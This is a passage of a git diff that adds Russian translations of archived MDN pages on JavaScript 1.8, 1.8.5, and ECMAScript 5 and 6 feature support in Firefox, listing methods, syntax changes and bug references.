+   <td><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor" title="JavaScript/Reference/Global Objects/Object/GetOwnPropertyDescriptor">Object.getOwnPropertyDescriptor()</a></code></td>
+   <td>Возвращает дескриптор свойства переданного объекта. {{bug("505587")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys" title="JavaScript/Reference/Global Objects/Object/keys"><code>Object.keys()</code></a></td>
+   <td>Возвращает массив всех перечисляемых свойств объекта. {{bug("307791")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="JavaScript/Reference/Global Objects/Object/getOwnPropertyNames"><code>Object.getOwnPropertyNames()</code></a></td>
+   <td>Возвращает массив всех перечисляемых и не перечисляемых свойств объекта. {{bug("518663")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="JavaScript/Reference/Global Objects/Object/preventExtensions"><code>Object.preventExtensions()</code></a></td>
+   <td>Предотвращает любые расширения объекта. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isExtensible" title="JavaScript/Reference/Global Objects/Object/isExtensible"><code>Object.isExtensible()</code></a></td>
+   <td>Определяет, разрешено ли расширение объекта. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal" title="JavaScript/Reference/Global Objects/Object/seal"><code>Object.seal()</code></a></td>
+   <td>Запрещает остальному коду удаление свойств объекта {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isSealed" title="JavaScript/Reference/Global Objects/Object/isSealed"><code>Object.isSealed()</code></a></td>
+   <td>Определяет, запрещено ли удаление свойств объекта. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze" title="JavaScript/Reference/Global Objects/Object/freezed"><code>Object.freeze()</code></a></td>
+   <td>Замораживает объект: остальной код не может удалять или изменять значения его свойств. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen" title="JavaScript/Reference/Global Objects/Object/isFrozen"><code>Object.isFrozen()</code></a></td>
+   <td>Определяет, был ли объект заморожен. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray" title="JavaScript/Reference/Global Objects/Array/isArray"><code>Array.isArray()</code></a></td>
+   <td>Проверяет, является ли переменная массивом. {{bug("510537")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON" title="JavaScript/Reference/Global Objects/Date/toJSON"><code>Date.prototype.toJSON()</code></a></td>
+   <td>Возвращает строку в формате JSON для объекта <code>Date</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind" title="JavaScript/Reference/Global_Objects/Function/bind"><code>Function.prototype.bind()</code></a></td>
+   <td>Метод <code>bind()</code> создаёт новую функцию, которая при вызове устанавливает в качестве контекста выполнения <code>this</code> предоставленное значение. В метод также передаётся набор аргументов, которые будут установлены перед переданными в привязанную функцию аргументами при её вызове.{{bug("429507")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Новые_возможности_ECMAScript5">Новые возможности ECMAScript5</h3>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/get" title="JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code> и <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/set" title="JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code> операторы теперь позволяют идентификатору быть строкой или числом. {{bug("520696")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="JavaScript/Reference/Global Objects/Function/apply"><code>Function.apply()</code></a> может принимать в качестве списка аргументов не только настоящие массивы, но и подобные массивам объекты.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode support</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString" title="JavaScript/Reference/Global Objects/Array/toString"><code>Array.toString()</code></a> теперь работает не только на массивах, возвращая либо результат вызова <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join" title="JavaScript/Reference/Global Objects/Array/join"><code>join()</code></a> , если он доступен, либо вызова  <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString" title="JavaScript/Reference/Global Objects/Object/toString">toString()</a>.</code></li>
+</ul>
+
+<h3 id="Другая_работа_по_стандартизации">Другая работа по стандартизации</h3>
+
+<p>Различные нестандартизованные синтаксические конструкции задания геттеров/сеттеров были удалены; Определенный в  ECMAScript 5 синтаксис изменениям не подвергся. Все они были несколько "эзотерическими" и довольно редко использовались на практике; если эти изменения Вас затронули, прочтите <a href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">эту статью</a>.</p>
+
+<h3 id="Новые_объекты">Новые объекты</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Объект</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Proxy" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Proxy">Proxy</a></code></td>
+   <td>Предлагает поддержку при создании <code>Object</code> и <code>Function</code> прокси, что позволяет использовать метапрограммирование на JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Функциональность_изменённая_в_JavaScript_1.8.5">Функциональность, изменённая в JavaScript 1.8.5</h2>
+
+<ul>
+ <li>ISO 8601 поддерживается в <code>Date:</code> метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date/parse">parse()</a> объекта <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date">Date</a>  теперь допускает использование формата  ISO 8601 для строкового представления даты.</li>
+ <li>Глобальные объекты стали доступны "только для чтения": глобальные объекты <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="JavaScript/Reference/Global Objects/NaN"><code>NaN</code></a>, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global Objects/Infinity"><code>Infinity</code></a>, и <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="JavaScript/Reference/Global Objects/undefined"><code>undefined</code></a> теперь доступны только для чтения по спецификации ECMAScript 5.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/Parent" title="JavaScript/Reference/Global Objects/Object/Parent"><code>obj.__parent__</code></a> и <code>obj.__count__</code> устарели. Больше информации, почему это произошло: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/" title="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a> {{bug("551529")}} &amp; {{bug("552560")}}.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse" title="Using native JSON"><code>JSON.parse()</code></a> больше не допускает использование конечных запятых.</li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.8/index.html b/files/ru/web/javascript/new_in_javascript/1.8/index.html
new file mode 100644
index 0000000000..8187682071
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/1.8/index.html
@@ -0,0 +1,38 @@
+---
+title: New in JavaScript 1.8
+slug: Web/JavaScript/New_in_JavaScript/1.8
+tags:
+  - Версии
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Следующее описание относится к  JavaScript 1.8. Эта версия была включена в <a href="/ru/docs/Firefox_3_for_developers">Firefox 3</a> является частью Gecko 1.9. {{ Bug("380236") }} – здесь вы можете просмотреть исправленные в процессе разработки JavaScript 1.8 баги.</p>
+
+<h2 id="Использование_JavaScript_1.8">Использование JavaScript 1.8</h2>
+
+<p>Чтобы воспользоваться преимуществами JavaScript 1.8, используйте следующий синтаксис подключения:</p>
+
+<pre class="brush: html"> &lt;script type="application/javascript;version=1.8"&gt; ... your code ... &lt;/script&gt;
+</pre>
+
+<p>Альтернативным методом является использование устаревшего аттрибута <code>language</code> тэга <code>script</code>. Для этого необходимо установить ему значение <code>JavaScript1.8</code>. Этот способ не рекомендуется к применению.</p>
+
+<p>При использовании <a href="/ru/docs/Web/JavaScript/JavaScript_шеллы" title="Introduction_to_the_JavaScript_shell">JavaScript шеллов</a>, JavaScript XPCOM компонент, или XUL <code>&lt;script&gt;</code> элементов, последняя версия JavaScript (JS1.8 в Mozilla 1.9) будет использована автоматически ({{ Bug(381031) }}, {{ Bug(385159) }}).</p>
+
+<p>Нововведения, которые используют ключевые слова <code>yield</code> и <code>let</code> требуют использования Javascript версии 1.7 или выше, потому как существующий код может использовать эти ключевые слова как названия переменных или функций. Остальные нововведения (например, генераторы) могут быть использованы без указания версии JavaScript.</p>
+
+<h2 id="Новое_в_JavaScript_1.8">Новое в JavaScript 1.8</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Expression_Closures">Короткий синтаксис определения функций</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Генераторы</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce"><code>Array.prototype.reduce()</code></a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight"><code>Array.prototype.reduceRight()</code></a></li>
+</ul>
+
+<h2 id="Изменения_в_JavaScript_1.8">Изменения в JavaScript 1.8</h2>
+
+<h3 id="Изменения_в_деструктивном_присваивании">Изменения в деструктивном присваивании</h3>
+
+<p>Багфикс, который был добавлен в  JavaScript 1.8, решает проблему связанную с <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="New in JavaScript 1.7">деструктивным присваиванием</a>, которое было введено в JavaScript 1.7.  Изменен механизм  деструктуризации массивов при использовании <code>for (var [a,b] in array)</code>. Ранее был доступен вызов в форме, описанной выше, однако это вызывало некорректное поведение цикла при работе с итераторами. Проблема решена ({{ Bug("366941") }}). Теперь следует использовать следующий синтаксис: <code>for ( var [key, value] in Iterator(array))</code>.</p>
diff --git a/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html b/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
new file mode 100644
index 0000000000..50fbcca8b5
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
@@ -0,0 +1,46 @@
+---
+title: Поддержка ECMAScript 5 в Mozilla
+slug: Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+---
+<p>{{jsSidebar("New_in_JS")}}</p>
+
+<p>Стандарт ECMAScript 5.1, последнее издание стандарта, на котором основан язык JavaScript, был принят в июне 2011 года.</p>
+
+<p>Среда выполнения JavaScript, используемая в последних версиях проектов Mozilla, включающих Firefox и Thunderbird, имеет полную поддержку возможностей ECMAScript 5.1. Эта статья описывает возможности, поддерживаемые разными версиями среды выполнения JavaScript Mozilla.</p>
+
+<h2 id="Supported_features" name="Supported_features">Поддерживаемые возможности</h2>
+
+<h3 id="Added_in_JavaScript_1.8.5_(Gecko_2.2C_Firefox_4_and_later)" name="Added_in_JavaScript_1.8.5_(Gecko_2.2C_Firefox_4_and_later)">Добавленные в JavaScript 1.8.5 (Gecko 2, Firefox 4 и более поздние)</h3>
+
+<p>Firefox 4 имеет полную поддержку стандарта ECMAScript 5, включая методы <code>Object.*</code> и строгий режим. Смотрите статью <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.5">Что нового в JavaScript 1.8.5</a>.</p>
+
+<h3 id="Added_in_JavaScript_1.8.1_(Gecko_1.9.1.2C_Firefox_3.5)" name="Added_in_JavaScript_1.8.1_(Gecko_1.9.1.2C_Firefox_3.5)">Добавленные в JavaScript 1.8.1 (Gecko 1.9.1, Firefox 3.5)</h3>
+
+<ul>
+ <li>Родная <a class="internal" href="/ru/docs/Web/JavaScript/Guide/Using_native_JSON">поддержка JSON</a>.</li>
+ <li>Метод {{jsxref("Object.getPrototypeOf()")}}.</li>
+ <li>Метод {{jsxref("String.trim()")}}, обрезающий пробельные символы с обеих концов строки.</li>
+ <li>Gecko 1.9.1.4 обновил реализацию метода {{jsxref("JSON.stringify()", "JSON.stringify()", "Converting_objects_into_JSON")}} для соответствия стандарту ECMAScript 5.</li>
+</ul>
+
+<p>Реализованы улучшения в алгоритме разбора, внесённые ECMAScript 5. Изменения предотвращают рассмотрение XHTML в качестве кода на JavaScript, ранее происходившее в определённых обстоятельствах.</p>
+
+<h3 id="Added_in_JavaScript_1.6_(Gecko_1.8.2C_Firefox_1.5)" name="Added_in_JavaScript_1.6_(Gecko_1.8.2C_Firefox_1.5)">Добавленные в JavaScript 1.6 (Gecko 1.8, Firefox 1.5)</h3>
+
+<p>Новые методы {{jsxref("Global_Objects/Array", "Array")}}, предлагающие некоторые улучшенные возможности по манипулированию массивами, были частью JavaScript начиная с <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a>. Теперь они утверждены как часть стандарта ECMAScript 5.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ecmascript.org/">Веб-сайт ECMAScript</a></li>
+ <li><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">Спецификация стандарта ECMAScript 5.1</a></li>
+ <li><a class="external" href="http://es5.javascript.ru/">Перевод спецификации стандарта ECMAScript 5.1 с аннотациями на русский язык</a></li>
+ <li>Запись Джона Резига об <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">Object.getPrototypeOf</a></li>
+ <li>Реализация <a class="external" href="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx">дат ECMAScript 5 в JavaScript</a> от Михаила Дж. Риана</li>
+ <li><a href="http://kangax.github.io/es5-compat-table/">Поддержка ECMAScript 5 среди браузеров</a></li>
+</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html b/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
new file mode 100644
index 0000000000..cfc66e9806
--- /dev/null
+++ b/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
@@ -0,0 +1,222 @@
+---
+title: Поддержка ECMAScript 6 в Mozilla
+slug: Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla
+tags:
+  - ECMAScript6
+  - JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
+---
+<p>{{jsSidebar("New_in_JS")}}</p>
+
+<p>ECMAScript 2015 - это новая версия стандарта, имеющая кодовое имя "Harmony","ES.next" или "ECMAScript 6". <a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Черновая спецификация </a>может быть найдена в официальном вики ECMA. Первый рабочий черновик, основанный на ECMAScript 5.1, был опубликован 12 июля 2011 как "ES.next". По состоянию на август 2014 в ECMAScript 2015 больше не принимаются новые функции и ожидается окончание работы над ним в конце 2014 с официальной публикацией в марте 2015.</p>
+
+<p>Для получения обратной связи по стандартам ECMAScript используется канал <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p>
+
+<h2 id="Поддерживаемые_функции">Поддерживаемые функции</h2>
+
+<p>Следующие функции уже реализованы в Firefox:</p>
+
+<h2 id="Стандартная_библиотека">Стандартная библиотека</h2>
+
+<h3 id="Дополнения_в_объекте_Array">Дополнения в объекте <code>Array</code></h3>
+
+<ul>
+ <li>Обход {{jsxref("Array")}} при помощи <code>for...of</code> (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)</li>
+ <li>{{jsxref("Array.from()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.of()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.fill()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.entries()")}},<br>
+  {{jsxref("Array.prototype.keys()")}} (<a href="/en-US/Firefox/Releases/28">Firefox 28</a>)</li>
+ <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+</ul>
+
+<h3 id="Новые_объекты_Map_и_Set_и_их_слабые_аналоги">Новые объекты <code>Map</code> и <code>Set</code> и их слабые аналоги</h3>
+
+<ul>
+ <li>{{jsxref("Map")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li>Обход {{jsxref("Map")}} при помощи <code>for...of</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Map.prototype.entries()")}},<br>
+    {{jsxref("Map.prototype.keys()")}},<br>
+    {{jsxref("Map.prototype.values()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Set")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
+  <ul>
+   <li>Обход {{jsxref("Set")}} при помощи <code>for...of</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Set.prototype.entries()")}},<br>
+    {{jsxref("Set.prototype.keys()")}},<br>
+    {{jsxref("Set.prototype.values()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakMap")}} (<a href="/en-US/Firefox/Releases/6">Firefox 6</a>)
+  <ul>
+   <li>{{jsxref("WeakMap.clear()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakSet")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h3 id="Новые_функции_в_объекте_Math">Новые функции в объекте <code>Math</code></h3>
+
+<ul>
+ <li>{{jsxref("Math.imul()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Math.clz32()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Math.fround()")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+</ul>
+
+<h3 id="Дополнения_в_объекте_Number">Дополнения в объекте <code>Number</code></h3>
+
+<ul>
+ <li>{{jsxref("Number.isNaN()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isFinite()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isInteger()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.parseInt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.parseFloat()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.EPSILON")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
+</ul>
+
+<h3 id="Дополнения_в_объекте_Object">Дополнения в объекте <code>Object</code></h3>
+
+<ul>
+ <li>{{jsxref("Object.is()")}} (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Object.assign()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="/en-US/Firefox/Releases/33">Firefox 33</a>)</li>
+</ul>
+
+<h3 id="Новый_объект_Promise">Новый объект <code>Promise</code></h3>
+
+<ul>
+ <li>{{jsxref("Promise")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>, включён по умолчанию в <a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+</ul>
+
+<h3 id="Дополнения_в_объекте_RegExp">Дополнения в объекте <code>RegExp</code></h3>
+
+<ul>
+ <li>В {{jsxref("RegExp")}} добавлен "липкий" флаг (y) (<a href="/en-US/Firefox/Releases/3">Firefox 3</a>)</li>
+</ul>
+
+<h3 id="Дополнения_в_объекте_String">Дополнения в объекте <code>String</code></h3>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("String.prototype.contains()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("String.prototype.repeat()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
+ <li>{{jsxref("String.prototype.normalize()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("String.raw()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h3 id="Новый_объект_Symbol">Новый объект <code>Symbol</code></h3>
+
+<ul>
+ <li>{{jsxref("Symbol")}} (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.for()")}} - глобальный реестр символов</li>
+</ul>
+
+<h3 id="Типизированные_массивы">Типизированные массивы</h3>
+
+<p>Типизированные массивы стали часть спецификации ECMAScript 2015, а не только <a href="https://www.khronos.org/registry/typedarray/specs/latest/">своей собственной</a>.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+</ul>
+
+<h2 id="Выражения_и_операторы">Выражения  и операторы</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator">Оператор распространения в массивах</a> (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator">Оператор распространения при вызовах функций</a> (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li>
+</ul>
+
+<h2 id="Операторы">Операторы</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a> (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)</li>
+</ul>
+
+<h2 id="Функции">Функции</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">Параметры по умолчанию</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочные функции</a> (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
+</ul>
+
+<h2 id="Другие_возможности">Другие возможности</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Двоичные и восьмеричные литералы</a> (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>Вычисляемые названия свойств (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/template_strings">Шаблонные строки</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h2 id="Стабилизируемые_и_обсуждаемые_функции">Стабилизируемые и обсуждаемые функции</h2>
+
+<p>Следующие функции частично реализованы в Firefox, но были добавлены до принятия стандарта ES2015 или ещё обсуждаются в стандарте ECMA TC39.</p>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Устаревшие итераторы и генераторы</a> (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>)
+
+  <ul>
+   <li>Итераторы и <a href="/ru/docs/Web/JavaScript/Reference/Statements/function*">генераторы</a> ES2015 реализованы в Firefox 26 и выше.</li>
+  </ul>
+ </li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Деструктивное присваивание</a> (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) (соответствие ES2015 {{bug("950547")}})</li>
+ <li>{{jsxref("Statements/const", "const")}} (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (соответствие ES2015 {{bug("950547")}})</li>
+ <li>{{jsxref("Statements/let", "let")}} (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) (соответствие ES2015 {{bug("950547")}})</li>
+ <li>{{jsxref("Proxy", "Прокси")}} (<a href="/en-US/Firefox/Releases/18">Firefox 18</a>) (соответствие ES2015 {{bug("978228")}})</li>
+</ul>
+
+<h2 id="Не_реализованные_функции">Не реализованные функции</h2>
+
+<p>Следующие функции включены в черновик спецификации ECMAScript 2015, но пока не реализованы в Firefox:</p>
+
+<ul>
+ <li>Module ({{bug("568953")}})
+  <ul>
+   <li>Loader API</li>
+   <li><code>import</code> синтаксис</li>
+   <li><code>export</code> синтаксис</li>
+  </ul>
+ </li>
+ <li><code>class</code> синтаксис ({{bug("837314")}})</li>
+ <li>{{jsxref("Array.prototype.values()")}} ({{bug("875433")}})</li>
+ <li>Reflect API ({{bug("987514")}})</li>
+ <li>Экранирование \u{nnnnnn} в Unicode ({{bug("952985")}})</li>
+ <li>Широко используемые символы</li>
+ <li>{{jsxref("RegExp.prototype.match()")}},<br>
+  {{jsxref("RegExp.prototype.replace()")}},<br>
+  {{jsxref("RegExp.prototype.search()")}},<br>
+  {{jsxref("RegExp.prototype.split()")}}</li>
+ <li>Флаг "u" в RegExp</li>
+ <li>{{jsxref("Function.prototype.toMethod()")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.ecmascript.org/">Сайт ECMAScript</a></li>
+ <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Черновик спецификации ECMAScript 2015</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Система отслеживания ошибок Mozilla ES2015</a></li>
